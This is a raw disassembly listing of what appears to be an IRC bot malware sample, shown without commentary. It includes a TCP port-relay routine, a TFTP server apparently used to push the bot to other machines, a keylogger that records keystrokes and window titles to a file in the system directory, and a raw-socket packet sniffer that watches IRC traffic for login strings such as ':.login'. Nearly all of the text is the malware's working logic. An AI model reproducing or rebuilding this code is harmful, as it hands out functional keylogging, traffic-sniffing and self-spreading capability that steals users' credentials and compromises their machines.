push offset dword_44B610
call sub_415AB0
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41E4B0
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_4E3018 ; send
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411F01: ; CODE XREF: sub_411CB2+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_4E3018 ; send
push dword ptr [esi]
push edi
call sub_411F76
pop ecx
pop ecx
push edi
call ds:dword_4E3060 ; closesocket
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411F5E: ; CODE XREF: sub_411CB2+B9j
; sub_411CB2+C6j
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_411CB2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411F76 proc near ; CODE XREF: sub_411CB2+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_411F8C: ; CODE XREF: sub_411F76+BEj
; sub_411F76+EEj
xor ecx, ecx
mov [ebp+var_100], ebx
inc ecx
xor eax, eax
mov [ebp+var_104], ecx
loc_411F9D: ; CODE XREF: sub_411F76+36j
mov edx, [ebp+arg_0]
cmp [ebp+eax*4+var_100], edx
jz short loc_411FAE
inc eax
cmp eax, ecx
jb short loc_411F9D
loc_411FAE: ; CODE XREF: sub_411F76+31j
cmp eax, ecx
jnz short loc_411FC2
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_411FC2: ; CODE XREF: sub_411F76+3Aj
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call ds:dword_4E2FB0 ; select
lea eax, [ebp+var_104]
push eax
push ebx
call ds:dword_4E2EB4 ; __WSAFDIsSet
test eax, eax
jz short loc_412022
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call ds:dword_4E2FE0 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_41206A
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41206A
loc_412022: ; CODE XREF: sub_411F76+7Ej
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call ds:dword_4E2EB4 ; __WSAFDIsSet
test eax, eax
jz loc_411F8C
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call ds:dword_4E2FE0 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_41206A
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jnz loc_411F8C
loc_41206A: ; CODE XREF: sub_411F76+93j
; sub_411F76+AAj ...
pop edi
pop esi
pop ebx
leave
retn
sub_411F76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41206F proc near ; CODE XREF: sub_41206F:loc_4124DAp
; DATA XREF: sub_401C87+20B2o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
var_574 = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
xor ebx, ebx
push edi
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call ds:dword_4E3048 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41210F
push 190h
call ds:dword_4F534C ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_4120EF
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409C75
add esp, 14h
loc_4120EF: ; CODE XREF: sub_41206F+5Bj
lea eax, [ebp+var_778]
push eax
call sub_415A3C
push [ebp+var_168]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_41210F: ; CODE XREF: sub_41206F+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call ds:dword_4E2FA8 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call ds:dword_4E2FA8 ; setsockopt
mov eax, [ebp+var_168]
push 10h
imul eax, 234h
push ebx
mov ds:dword_455F0C[eax], esi
lea eax, [ebp+var_2C]
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+var_160]
call ds:dword_4E2FC8 ; htons
mov [ebp+var_2A], ax
lea eax, [ebp+var_2C]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call ds:dword_4E2FF4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412199
push 1388h
call ds:dword_4F534C ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_4124DA
; ---------------------------------------------------------------------------
loc_412199: ; CODE XREF: sub_41206F+10Fj
lea eax, [ebp+var_370]
push offset aRb_0 ; "rb"
push eax
call sub_41E490
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_4121FF
push 190h
call ds:dword_4F534C ; Sleep
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409C75
lea eax, [ebp+var_778]
push eax
call sub_415A3C
push [ebp+var_168]
call sub_40B9A7
add esp, 1Ch
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4121FF: ; CODE XREF: sub_41206F+142j
; sub_41206F+425j
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_41249D
mov edi, 80h
lea eax, [ebp+var_D0]
push edi
push ebx
push eax
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call ds:dword_4E2FB0 ; select
test eax, eax
jle loc_412491
mov al, ds:byte_4E5D24
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call ds:dword_4E2FA0 ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_50]
push eax
call sub_41EA60
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_41247B
cmp [ebp+var_CF], 1
jnz loc_412387
lea eax, [ebp+var_26C]
push eax
call sub_41BC70
push ebx
push ebx
push [ebp+var_4]
call sub_420FE0
push [ebp+var_4]
lea eax, [ebp+var_574]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h
push 1
push eax
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_41E180
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call ds:dword_4E302C ; sendto
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferSt ; "Tftp transfer started to: %s"
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_412375
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409C75
add esp, 14h
loc_412375: ; CODE XREF: sub_41206F+2E1j
lea eax, [ebp+var_778]
push eax
call sub_415A3C
pop ecx
jmp loc_412491
; ---------------------------------------------------------------------------
loc_412387: ; CODE XREF: sub_41206F+257j
cmp [ebp+var_CF], 4
jnz loc_41247B
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_4123BE
inc al
xor cl, cl
mov [ebp+var_575], bl
jmp short loc_4123C6
; ---------------------------------------------------------------------------
loc_4123BE: ; CODE XREF: sub_41206F+341j
inc cl
mov [ebp+var_575], cl
loc_4123C6: ; CODE XREF: sub_41206F+34Dj
mov [ebp+var_576], al
mov edi, 200h
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, edi
push eax
push [ebp+var_4]
call sub_420FE0
push [ebp+var_4]
lea eax, [ebp+var_574]
push edi
push 1
push eax
call sub_41E180
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call ds:dword_4E302C ; sendto
cmp edi, ebx
jnz short loc_412491
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferCo ; "Tftp transfer complete to: %s"
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_412466
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409C75
add esp, 14h
loc_412466: ; CODE XREF: sub_41206F+3D2j
lea eax, [ebp+var_778]
push eax
call sub_415A3C
inc ds:dword_4E5AC8
pop ecx
jmp short loc_412491
; ---------------------------------------------------------------------------
loc_41247B: ; CODE XREF: sub_41206F+24Aj
; sub_41206F+31Fj
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_44B698
push esi
call ds:dword_4E302C ; sendto
loc_412491: ; CODE XREF: sub_41206F+1E9j
; sub_41206F+313j ...
cmp [ebp+var_8], ebx
jg loc_4121FF
mov edi, [ebp+arg_0]
loc_41249D: ; CODE XREF: sub_41206F+199j
push esi
call ds:dword_4E3060 ; closesocket
push [ebp+var_4]
call sub_41BCF0
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_4124CE
push [ebp+var_168]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4124CE: ; CODE XREF: sub_41206F+44Aj
push 3E8h
call ds:dword_4F534C ; Sleep
push edi
loc_4124DA: ; CODE XREF: sub_41206F+125j
call sub_41206F
pop edi
pop esi
pop ebx
leave
retn 4
sub_41206F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4124E6 proc near ; CODE XREF: sub_4125C5+B4p
; sub_4125C5+247p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_4F5404 ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push offset dword_44BE14
push eax
call sub_41F630
lea eax, [ebp+var_114]
push offset dword_43F108
push eax
call sub_41F630
lea eax, [ebp+var_114]
push offset dword_44BE18
push eax
call sub_41E490
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_41254B
inc eax
jmp short loc_4125C2
; ---------------------------------------------------------------------------
loc_41254B: ; CODE XREF: sub_4124E6+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41F4E0
push esi
call sub_41BCF0
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4125C0
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_44BE38
push 200h
push eax
call sub_41EC30
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_409C75
add esp, 24h
loc_4125C0: ; CODE XREF: sub_4124E6+A1j
xor eax, eax
loc_4125C2: ; CODE XREF: sub_4124E6+63j
pop esi
leave
retn
sub_4124E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4125C5 proc near ; DATA XREF: sub_401C87+44DAo
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call ds:dword_4E2F4C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call ds:dword_4E2F64 ; GetWindowTextA
mov ebx, 200h
loc_412620: ; CODE XREF: sub_4125C5+2BBj
push 8
call ds:dword_4F534C ; Sleep
call ds:dword_4E2F4C ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_4126A8
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call ds:dword_4E2F64 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_41EA60
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4124E6
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_41E4B0
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_41E4B0
add esp, 0Ch
loc_4126A8: ; CODE XREF: sub_4125C5+6Cj
mov [ebp+arg_0], offset dword_44B6AC
loc_4126AF: ; CODE XREF: sub_4125C5+2B1j
push 10h
call ds:dword_4E2E9C ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call ds:dword_4E2F94 ; GetAsyncKeyState
test ah, ah
jns short loc_412746
push 14h
call ds:dword_4E2E9C ; GetKeyState
test ax, ax
jz short loc_4126F7
cmp esi, 0FFFFFFFFh
jle short loc_4126F7
cmp edi, 40h
jle short loc_4126F7
cmp edi, 5Bh
jge short loc_4126F7
mov [ebp+edi*4+var_8DC], 1
jmp loc_41286B
; ---------------------------------------------------------------------------
loc_4126F7: ; CODE XREF: sub_4125C5+111j
; sub_4125C5+116j ...
push 14h
call ds:dword_4E2E9C ; GetKeyState
test ax, ax
jz short loc_412722
test esi, esi
jge short loc_412736
cmp edi, 40h
jle short loc_412722
cmp edi, 5Bh
jge short loc_412722
mov [ebp+edi*4+var_8DC], 2
jmp loc_41286B
; ---------------------------------------------------------------------------
loc_412722: ; CODE XREF: sub_4125C5+13Dj
; sub_4125C5+146j ...
test esi, esi
jge short loc_412736
mov [ebp+edi*4+var_8DC], 3
jmp loc_41286B
; ---------------------------------------------------------------------------
loc_412736: ; CODE XREF: sub_4125C5+141j
; sub_4125C5+15Fj
mov [ebp+edi*4+var_8DC], 4
jmp loc_41286B
; ---------------------------------------------------------------------------
loc_412746: ; CODE XREF: sub_4125C5+104j
lea eax, [ebp+edi*4+var_8DC]
mov esi, [eax]
test esi, esi
jz loc_41286B
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
push eax
call sub_41BC70
cmp edi, 8
pop ecx
jnz short loc_412779
and [ebp+eax+var_2DD], 0
jmp loc_41286B
; ---------------------------------------------------------------------------
loc_412779: ; CODE XREF: sub_4125C5+1A5j
cmp eax, 1B9h
jbe short loc_4127A5
call ds:dword_4E2F4C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call ds:dword_4E2F64 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_4127E6
; ---------------------------------------------------------------------------
loc_4127A5: ; CODE XREF: sub_4125C5+1B9j
cmp edi, 0Dh
jnz loc_41283D
lea eax, [ebp+var_2DC]
push eax
call sub_41BC70
test eax, eax
pop ecx
jz loc_41286B
call ds:dword_4E2F4C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call ds:dword_4E2F64 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_4127E6: ; CODE XREF: sub_4125C5+1DEj
lea eax, [ebp+var_4DC]
push eax
call sub_41EA60
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4124E6
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_41E4B0
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_41E4B0
add esp, 0Ch
jmp short loc_41286B
; ---------------------------------------------------------------------------
loc_41283D: ; CODE XREF: sub_4125C5+1E3j
cmp esi, 1
jz short loc_412856
cmp esi, 3
jz short loc_412856
cmp esi, 2
jz short loc_412851
cmp esi, 4
jnz short loc_41286B
loc_412851: ; CODE XREF: sub_4125C5+285j
push [ebp+arg_0]
jmp short loc_41285D
; ---------------------------------------------------------------------------
loc_412856: ; CODE XREF: sub_4125C5+27Bj
; sub_4125C5+280j
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_41285D: ; CODE XREF: sub_4125C5+28Fj
lea eax, [ebp+var_2DC]
push eax
call sub_41F630
pop ecx
pop ecx
loc_41286B: ; CODE XREF: sub_4125C5+12Dj
; sub_4125C5+158j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_44BDDC
jl loc_4126AF
cmp [ebp+var_4], 0
jz loc_412620
push [ebp+var_D8]
call sub_40B9A7
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_4125C5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41289A proc near ; DATA XREF: sub_401C87+4106o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_41EF80
mov edx, [ebp+arg_0]
push esi
push edi
push 25h
xor eax, eax
pop ecx
mov esi, edx
lea edi, [ebp+var_B4]
inc eax
push 10h
rep movsd
mov [ebp+var_8], eax
mov [edx+90h], eax
xor esi, esi
lea eax, [ebp+var_1C]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call ds:dword_4E2FC8 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AEAD
pop ecx
push eax
call ds:dword_4E3008 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call ds:dword_4E3048 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_41296F
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_44C718
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412952
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409C75
add esp, 14h
loc_412952: ; CODE XREF: sub_41289A+96j
lea eax, [ebp+var_2B4]
push eax
call sub_415A3C
push [ebp+var_30]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_41296F: ; CODE XREF: sub_41289A+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov ds:dword_455F0C[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call ds:dword_4E2FF4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4129F4
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_44C744
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_4129D0
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409C75
add esp, 14h
loc_4129D0: ; CODE XREF: sub_41289A+114j
lea eax, [ebp+var_2B4]
push eax
call sub_415A3C
pop ecx
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+var_30]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_4129F4: ; CODE XREF: sub_41289A+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call ds:dword_4E2F74 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412A77
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_44C770
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412A53
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409C75
add esp, 14h
loc_412A53: ; CODE XREF: sub_41289A+197j
lea eax, [ebp+var_2B4]
push eax
call sub_415A3C
pop ecx
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+var_30]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_412A77: ; CODE XREF: sub_41289A+177j
push ebx
mov ebx, offset dword_44BEC0
loc_412A7D: ; CODE XREF: sub_41289A+21Cj
; sub_41289A+22Ej ...
push 0FFFFh
lea eax, [ebp+var_102B4]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push 0FFFFh
push eax
push edi
call ds:dword_4E2FE0 ; recv
cmp eax, 0FFFFFFFFh
jz loc_412BA6
cmp [ebp+var_102AB], 6
jnz short loc_412A7D
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_412A7D
lea eax, [ebp+var_1028C]
push offset aPsniff_0 ; "[PSNIFF]"
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A7D
lea eax, [ebp+var_1028C]
push offset dword_44C7AC
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A7D
xor edi, edi
mov eax, ebx
mov [ebp+arg_0], ebx
loc_412AFF: ; CODE XREF: sub_41289A+280j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B24
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_412AFF
loc_412B1C: ; CODE XREF: sub_41289A+307j
mov edi, [ebp+var_4]
jmp loc_412A7D
; ---------------------------------------------------------------------------
loc_412B24: ; CODE XREF: sub_41289A+276j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call ds:dword_4E2EF8 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, ds:dword_44BED4[eax*8]
push ds:off_44BEAC[eax*4]
lea eax, [ebp+var_2B4]
push offset dword_44C7BC
push 200h
push eax
call sub_41EC30
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_412B94
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409C75
add esp, 14h
loc_412B94: ; CODE XREF: sub_41289A+2D8j
lea eax, [ebp+var_2B4]
push eax
call sub_415A3C
pop ecx
jmp loc_412B1C
; ---------------------------------------------------------------------------
loc_412BA6: ; CODE XREF: sub_41289A+20Fj
call ds:dword_4E2F5C ; WSAGetLastError
push eax
push offset dword_44C7F0
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41EC30
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_412BEC
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409C75
add esp, 14h
loc_412BEC: ; CODE XREF: sub_41289A+330j
lea eax, [ebp+var_2B4]
push eax
call sub_415A3C
pop ecx
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+var_30]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
sub_41289A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412C10 proc near ; CODE XREF: sub_412F1F+216p
; sub_412F1F+240p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_4E5D28, eax
mov eax, offset dword_4E5D28
retn
sub_412C10 endp
; =============== S U B R O U T I N E =======================================
sub_412C1F proc near ; CODE XREF: sub_412F1F+2B7p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412C39
loc_412C35: ; CODE XREF: sub_412C1F+29j
; sub_412C1F+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412C39: ; CODE XREF: sub_412C1F+14j
push offset a0 ; "#0#"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C35
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C35
push offset aPsniff_2 ; "PSNIFF//"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C35
push offset aJoin_1 ; "JOIN #"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412C81
loc_412C7D: ; CODE XREF: sub_412C1F+71j
; sub_412C1F+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412C81: ; CODE XREF: sub_412C1F+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C7D
push offset a366 ; "366 "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C7D
push offset a_login ; ":.login"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C7D
